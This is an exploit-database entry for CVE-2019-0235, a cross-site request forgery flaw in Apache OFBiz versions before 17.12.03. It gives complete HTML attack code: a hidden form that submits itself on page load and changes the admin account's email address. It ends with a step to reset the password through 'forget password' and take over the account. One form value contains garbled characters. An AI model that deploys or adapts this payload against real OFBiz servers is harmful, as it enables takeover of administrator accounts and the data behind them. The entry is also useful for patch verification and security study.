Apache OFBiz 17.12.03 Cross Site Request Forgery Vulnerability

2020-05-0200:00:00

Faiz Ahmed Zaidi

0day.today

0.011 Low

EPSS

Percentile

84.1%

JSON

Exploit for multiple platform in category web applications

# Exploit Title: Apache OFBiz 17.12.03 - Cross-Site Request Forgery (Account Takeover)
# Exploit Author: Faiz Ahmed Zaidi
# Vendor Homepage: [https://ofbiz.apache.org/security.html]
# Software Link: https://ofbiz.apache.org/download.html#security
# Version: Before 17.12.03
# Tested on: Linux and Windows
# CVE : CVE-2019-0235

#Exploit Code:

<html>
  <body>
    <form action="https://hostipaddress:8443/partymgr/control/updateEmailAddress" method="POST">
      <input type="hidden" name="contactMechId" value="admin" />
      <input type="hidden" name="contactMechTypeId" value="EMAIL_ADDRESS" />
      <input type="hidden" name="partyId" value="admin" />
      <input type="hidden" name="DONE_PAGE" value="viewprofile?party_id=adminÃ¢ˆ‚yId=admin" />
      <input type="hidden" name="emailAddress" value="[email protected]" />
      <input type="hidden" name="allowSolicitation" value="Y" />
      <input type="submit" value="Submit request" />
    </form>
  <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

After that do a password reset via forget password.
It's done :)

#  0day.today [2020-07-19]  #

0.011 Low

EPSS

Percentile

84.1%

JSON

Related for 1337DAY-ID-34346